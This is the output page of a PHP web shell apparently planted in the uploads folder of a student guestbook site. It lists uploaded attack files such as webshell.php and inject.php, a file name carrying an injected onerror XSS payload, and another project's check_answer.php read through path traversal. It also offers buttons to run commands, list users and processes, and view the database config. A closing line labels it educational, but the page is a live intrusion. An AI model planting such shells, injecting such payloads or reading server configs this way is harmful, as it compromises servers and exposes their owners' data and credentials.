🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../l7-pro-2-e-learning-2023-Epolleke/php/check_answer.php

<?php
/**
 * API Endpoint: Controleer het antwoord van de gebruiker
 * POST parameters:
 *   - word_id: ID van het woord
 *   - answer: Het antwoord van de gebruiker
 *   - session_id: Unieke sessie ID
 */

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

require_once 'config.php';

// Handle preflight requests
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['success' => false, 'error' => 'Method not allowed']);
    exit();
}

try {
    // Lees JSON input
    $rawInput = file_get_contents('php://input');
    $input = json_decode($rawInput, true);
    
    // Check for JSON decode errors
    if (json_last_error() !== JSON_ERROR_NONE) {
        throw new Exception('Invalid JSON: ' . json_last_error_msg());
    }
    
    if (!$input || !is_array($input)) {
        throw new Exception('Invalid request body');
    }
    
    if (!isset($input['word_id']) || !isset($input['answer']) || !isset($input['session_id'])) {
        $missing = [];
        if (!isset($input['word_id'])) $missing[] = 'word_id';
        if (!isset($input['answer'])) $missing[] = 'answer';
        if (!isset($input['session_id'])) $missing[] = 'session_id';
        throw new Exception('Missing required parameters: ' . implode(', ', $missing));
    }
    
    $word_id = intval($input['word_id']);
    $answer = trim(strtolower($input['answer']));
    $session_id = $input['session_id'];
    
    $pdo = getDbConnection();
    
    // Haal het correcte woord op
    $stmt = $pdo->prepare("SELECT english_word, dutch_translation FROM words WHERE word_id = :word_id");
    $stmt->execute([':word_id' => $word_id]);
    $word = $stmt->fetch();
    
    if (!$word) {
        throw new Exception('Word not found');
    }
    
    // Controleer of antwoord correct is
    $correct_answer = strtolower($word['dutch_translation']);
    $is_correct = ($answer === $correct_answer);
    $correct_value = $is_correct ? 1 : 0;
    
    // Update of insert user progress
    $stmt = $pdo->prepare("
        INSERT INTO user_progress (session_id, word_id, attempts, correct, is_mastered)
        VALUES (:session_id, :word_id, 1, :correct, 0)
        ON DUPLICATE KEY UPDATE 
            attempts = attempts + 1,
            correct = correct + :correct_update,
            is_mastered = (correct + :correct_check >= 3),
            last_attempt = CURRENT_TIMESTAMP
    ");
    
    $stmt->execute([
        ':session_id' => $session_id,
        ':word_id' => $word_id,
        ':correct' => $correct_value,
        ':correct_update' => $correct_value,
        ':correct_check' => $correct_value
    ]);
    
    // Haal progress statistieken op
    $stmt = $pdo->prepare("
        SELECT attempts, correct, is_mastered 
        FROM user_progress 
        WHERE session_id = :session_id AND word_id = :word_id
    ");
    $stmt->execute([
        ':session_id' => $session_id,
        ':word_id' => $word_id
    ]);
    $progress = $stmt->fetch();
    
    echo json_encode([
        'success' => true,
        'correct' => $is_correct,
        'correct_answer' => $word['dutch_translation'],
        'english_word' => $word['english_word'],
        'progress' => $progress
    ]);
    
} catch (Exception $e) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'error' => $e->getMessage(),
        'debug' => [
            'file' => basename($e->getFile()),
            'line' => $e->getLine()
        ]
    ]);
}
?>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!